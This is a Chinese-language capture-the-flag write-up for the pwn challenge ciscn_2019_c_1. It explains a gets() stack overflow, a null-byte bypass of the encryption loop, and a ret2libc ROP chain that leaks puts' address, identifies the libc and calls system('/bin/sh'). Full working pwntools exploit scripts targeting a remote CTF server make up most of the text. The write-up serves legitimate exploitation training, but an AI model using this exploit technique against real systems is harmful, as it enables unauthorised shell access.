64位,开启了NX:

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

主要功能是对输入的字符串进行了加密,没有提供解密功能。
加密部分的函数encrypt()主要内容如下:

int encrypt()
{
  size_t v0; // rbx
  char s[48]; // [rsp+0h] [rbp-50h]
  __int16 v3; // [rsp+30h] [rbp-20h]

  memset(s, 0, sizeof(s));
  v3 = 0;
  puts("Input your Plaintext to be encrypted");
  gets(s);
  while ( 1 )
  {
    v0 = (unsigned int)x;
    if ( v0 >= strlen(s) )
      break;
    if ( s[x] <= 96 || s[x] > 122 )
    {
      if ( s[x] <= 64 || s[x] > 90 )
      {
        if ( s[x] > 47 && s[x] <= 57 )
          s[x] ^= 0xFu;
      }
      else
      {
        s[x] ^= 0xEu;
      }
    }
    else
    {
      s[x] ^= 0xDu;
    }
    ++x;
  }
  puts("Ciphertext");
  return puts(s);
}

这里会把输入的内容和v0的值进行比较,涉及到一个知识点:strlen()遇到\x00就会停止。所以我们输入的字符串开头就为\x00的话,就会跳到break;这里,不用进行异或比对了。
可以看到gets()存在栈溢出漏洞,可以利用它泄露出puts()的got地址。首先因为是64位的,传参传到了rdi中,要找到可以利用的地址:

ROPgadget --binary ciscn_2019_c_1 --only "pop|ret"|grep "rdi"

得到:

0x0000000000400c83 : pop rdi ; ret

偏移量为0x50,因为前面有\x00所以减去1('\x00'+'a'*(0x50-1))。
所以payload1为:

payload1 = '\x00'+'a'*(0x50-1)+p64(deadbeef)+p64(rdi_addr)+p64(puts_got)+p64(puts_plt)+p64(main_addr)

成功接收到puts()的实际地址:

from pwn import *

elf = ELF('./ciscn_2019_c_1')

local = 1
if local == 1:
    io = process('./ciscn_2019_c_1')
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
    io = remote('node4.buuoj.cn',25182)

rdi_addr = 0x400c83
puts_plt = elf.symbols['puts']
puts_got = elf.got['puts']
main_addr = 0x400B28

payload1 = '\x00'+'a'*(0x50-1)+p64(0xdeadbeef)+p64(rdi_addr)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
io.recvuntil("choice!\n")
io.sendline("1")
io.recvuntil("encrypted\n")
io.sendline(payload1)
io.recvuntil("Ciphertext\n\n")
print(io.recvline())

对puts的实际地址进行解包操作,因为位数不够后面加上'\x00\x00'。接下来利用puts()的实际地址的十六进制形式,去libc.blukat.me进行查询,得到服务器使用的libc为libc6_2.27-3ubuntu1_amd64.so。最后要考虑堆栈平衡,添加ret。完整的exp如下:

from pwn import *

elf = ELF('./ciscn_2019_c_1')

local = 0
if local == 1:
    io = process('./ciscn_2019_c_1')
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
    io = remote('node4.buuoj.cn',27698)
    libc = ELF('./libc6_2.27-3ubuntu1_amd64.so')

rdi_addr = 0x400c83
puts_plt = elf.symbols['puts']
puts_got = elf.got['puts']
main_addr = 0x400B28

payload1 = '\x00'+'a'*(0x50-1)+p64(0xdeadbeef)+p64(rdi_addr)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
io.recvuntil("choice!\n")
io.sendline("1")
io.recvuntil("encrypted\n")
io.sendline(payload1)
io.recvuntil("Ciphertext\n\n")
puts_addr = u64(io.recvline()[0:6]+'\x00\x00')
print(hex(puts_addr))

libc_base = puts_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + libc.search('/bin/sh').next()
ret = 0x00000000004006b9
payload2 = '\x00'+'a'*(0x50-1)+p64(0xdeadbeef)+p64(ret)+p64(rdi_addr)+p64(binsh_addr)+p64(system_addr)

io.recvuntil("choice!\n")
io.sendline("1")
io.recvuntil("encrypted\n")
io.sendline(payload2)
io.recvuntil("Ciphertext\n\n")
io.interactive()